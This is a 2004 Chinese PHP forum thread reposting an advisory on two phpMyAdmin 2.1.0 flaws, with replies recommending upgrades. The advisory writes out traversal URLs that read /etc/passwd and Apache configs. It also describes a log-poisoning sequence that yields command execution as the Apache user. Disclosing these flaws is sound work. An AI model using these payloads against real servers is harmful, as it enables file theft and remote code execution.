首 页   · 站长博客 · 用户注册 · 会员登陆  · 会员排行  ·最新主题  ·最近回复  精华区  版权声明  ·论坛管理
  当前登录身份:游客,请先登录。  笔名: 口令: 验证码:   
楼 主  index »  PHP相关资源下载区 » [转帖]phpMyAdmin2.1.0存在两个漏洞  


  作者:小舟从此逝
  注册时间:2004-04-01
  主题/回复:7/13
  积分:433
  等级:★★☆(五级)
  称号:略有小成

  xiao_boat@eyou.c..
  254596520
  www.17php.com

 

 发表:2004-04-05 00:49:22 阅读 2763 次 回复 3 次 得分5  |   字号 字色
[转帖]phpMyAdmin2.1.0存在两个漏洞
来源:52w.net 
phpMyAdmin ( http://www.phpwizard.net/projects/phpMyAdmin/ ) 是一款管理 MySQL 数据库的 PHP 工具,具有基于 WEB 的界面。但是发现它存在漏洞。可选择安装新发布稳定版本: 
phpMyAdmin 2.2.0。 



1、目录遍历漏洞 

攻击者通过提供如下的 URL: 

http://www.example.com/phpMyAdmin/sql.php?goto=/etc/passwd&btnDrop=No (*) 

http://www.example.com/phpMyAdmin/tbl_replace.php?db=test&table=ess&goto=/etc/passwd 

能非法访问系统文件 

有问题的代码在: 
'include($goto);' in sql.php and in tbl_replace.php. 

2、执行攻击者代码漏洞 

通过使用全局可写日志文件,攻击者能在受影响服务器上执行任意代码。 

首先,得到 Apache 配置文件以便知道日志文件存储位置: 

http://www.example.com/phpMyAdmin/sql.php?goto=/etc/apache/conf/httpd.conf&btnDrop=No 
http://www.example.com/phpMyAdmin/sql.php?goto=/etc/apache/conf/srm.conf&btnDrop=No 
http://www.example.com/phpMyAdmin/sql.php?goto=/etc/apache/conf/access.conf&btnDrop=No 

可以看出,日志放在: 
/var/log/httpd/error_log 
/var/log/httpd/access_log 

然后 telnet 到 端口80 

# telnet www.example.com 80 
Trying xxx.xxx.xxx.xxx... 
Connected to www.example.com. 
Escape character is '^]'. 
GET 


^] 
telnet> quit 
Connection closed. 


在 GET 请求之后,攻击者能将任意 PHP 代码上传 

现在,可以用 Apache 用户身份远程运行命令了: 

http://www.example.com/phpMyAdmin/sql.php?goto=/var/log/httpd/ 
access_log&btnDrop=No?meters=ls%20-l%20/ 

受影响系统: 
phpMyAdmin 2.1.0 

解决方案: 
建议: 
1.使用 phpMyAdmin 2.2.0 
http://prdownloads.sourceforge.net/phpmyadmin/phpMyAdmin-2.2.0-php.tar.gz 
2.用户下载安装补丁: 
http://www.securereality.com.au/patches/phpMyAdmin-SecureReality.diff  
 
 1#楼  
 
  回复人:石头
  注册时间:2004-04-05
  主题/回复:11/16
  积分:471
  等级:★★☆(五级)
  称号:略有小成

   
 1#楼 发表于2004-04-05 17:07:31  评分:1 

解决这个问题现在很简单了

那就是升级版本
 2#楼  
 
  回复人:一起PHP
  注册时间:2004-02-27
  主题/回复:247/1521
  积分:4649
  等级:★★★★★☆(十一级)
  称号:论坛圣人

   
 2#楼 发表于2004-04-05 17:16:52  评分:3 

   其实,由于mysql的客户/服务器模式 ,我们不害怕任何phpMyAdmin漏洞。因为我们完全没有必要把phpMyAdmin放在服务器上。我们只需要在远程安装phpMyAdmin,然后连接到mysql服务器即可。就像我现在的论坛,也是经常用到phpMyAdmin,但是phpMyAdmin在我的个人pc上,并不在服务器上,所以,有安全漏洞并不怕,只要执行命令没有错误就好了。
   这个帖子主要是针对喜欢把phpMyAdmin放在服务器上使用的朋友来说的,应该注意这个问题。
 3#楼  
 
  回复人:Miyahoo
  注册时间:2004-04-04
  主题/回复:39/255
  积分:1210
  等级:★★★☆(七级)
  称号:论坛贤士

   
 3#楼 发表于2004-04-05 22:21:15  评分:1 

我的是压缩版的,没问题吧?哈哈。
  页数1/1首页 « 1 » 末页
  发表回复:您还没有登陆,无法发表回复。请先[登陆]

一起PHP技术联盟 主办:一起PHP 联系方式:站长QQ:4304410 QQ群:8423742 20159565 站长博客 E-mail: nqp@nqp.me 执行时间:0.004sec
SimsmaBBS 2008 (v6.0) Developed by 17php.com,Copyright(C)2003-2010 All rights reserved. 副本授权:一起PHP官方专用版